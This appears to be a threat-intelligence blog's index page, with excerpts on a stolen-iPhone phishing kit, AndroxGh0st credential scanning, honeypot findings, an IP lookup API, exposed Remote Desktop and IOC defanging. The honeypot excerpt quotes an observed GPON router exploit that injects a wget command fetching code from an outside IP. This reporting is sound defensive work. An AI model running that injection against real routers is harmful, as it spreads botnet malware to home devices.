Sicehice Blog

One of our affiliates recently had an iPhone stolen while on vacation. It goes without saying, once the phone has been turned off and you can't see it in Apple's Find My, best of luck getting it back. One of the issues with stealing an iPhone is the iCloud Activation Lock. When you enable Find My, the device is linked to your iCloud account and you must manually disable it before the phone can be transferred to another person.  A few days after the phone was stolen, the new phone received an SMS phishing message with the following URL: hxxps://lcoud.com-1pr7[.]us/?id=XXXXX In our instance, we had a five-digit ID number that started with the number 8. We began to attempt iterations of the 5-digit ID and sure enough, we got a valid HTTP 200 response on the first attempt: When navigating to the resolving IP, we noted there was a wildcard certificate in place for a bunch of other domains: Stepping back, let’s look at the root domain of the original phishing page, com-1pr7.us . The...

AndroxGh0st is a family of malware written in Python that notoriously targets Laravel .env files. Since the inception of our new fleet of web honeypots deployed in December 2021, Sicehice has detected this activity and observed tens of thousands of requests with the HTTP POST body set to 0x[]=androxgh0st . Searching this string on GitHub yields various repositories, many of which help identify AWS secrets inadvertently exposed by the Laravel framework. One feature of AndroxGh0st is the ability to search for exposed AWS credentials, namely looking for AWS_ACCESS_KEY_ID and AWS_SECRET_ACCESS_KEY identifiers. While individuals may mistakenly leak their key pairs to version control repositories such as GitHub, GitLab, or BitBucket, there is always the possibility of inadvertently leaking key pairs directly on web servers as well. AWS has gone through efforts to continually scan GitHub for AWS key pairs and automatically apply the AWS managed policy AWSCompromi...

During December 2021, we deployed a new fleet of custom web honeypots written in Python Flask. The ongoing detections have been incorporated into our database as of January 3, 2022 and we are also pushing our detection feed to VirusTotal Collections . Approaching one year of of collections, here are some observations and stats: Locations where sensors are deployed: Sydney, AU Madrid, ES Amsterdam, NL Moscow, RU (which was forcibly shutdown due to sanctions imposed as a result of the 2022 Russian invasion of Ukraine) Chicago, US New Jersey, US Iowa, US We observed nearly 500,000 requests from over 38,000 unique IPs. A majority of the malware payloads we have observed are related to the Mozi botnet. You can find the related indicators shared on Abuse.ch ThreatFox here.   An example of this exploit observed in the POST body which targets GPON home routers (CVE-2018-10561) is as follows: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=``;wget+http://221.205.75.24...

In an effort to continually extend our service, we recently added additional API methods that allow users to search for information about their public IP address, or look up data about others. The API methods are documented at https://sicehice.com/platform/apidocs . To summarize the available methods: GET https://iplocation.sicehice.com/ Returns a JSON response with information for your IP GET https://iplocation.sicehice.com/plain Returns only your IP GET https://iplocation.sicehice.com/api/?ip=185.117.88.82 Returns a JSON response with information for the IP you specify Can be leveraged with CLI tools, scripts, etc.

As people trend towards remote work, IT departments have an ongoing need to provide remote services to end users. Without the use of traditional VPNs, technologies like Remote Desktop, Citrix and VMware are commonly used for remote access. However, they are not always configured in secure ways.  During the height of the pandemic, we setup two servers with Remote Desktop exposed to the Internet and created user "hello" with no password. Obviously, this is not a smart idea, but it does demonstrate what can happen when you have unsecured assets that are available directly on the Internet.  Scenario 1: Network Scanner Resulting in Abuse Complaint A scanning tool was used to scan for other servers listing on port 3389, which resulted in a complaint from Hetzner Online GmbH. The complaint was as follows: Figure 1: Abuse Complaint Received It is good that Hetzner has automated monitoring systems that will send abuse complaints automatically and one step in the right direction to...

More frequently, we find a need to Fang IP addresses before they can be searched on the site. For those not familiar with the term, check out  IOC Fang: Indicator of Compromise (De)Fanging Project . Here's an easy way to think of it, something with fangs could have a negative impact (e.g. inadvertently clicking a link), versus something that is defanged would not have a negative impact if clicked. A quick breakdown of the concept is as follows: Fanging: 195.54.160[.]149 -> 195.54.160.149 Defanging: 195.54.160.149 -> 195.54.160[.]149 On our backend, indicators are stored in a Fanged format. However, since users will come across indicators on various platforms, there is no guarantee on whether or not the indicator will be Fanged or Defanged. Therefore we have enabled searching for Defanged IP addresses that use square brackets  natively from our homepage.  Please note, the bulksearch and API based lookup methods still only support Fanged IP addresses at the time....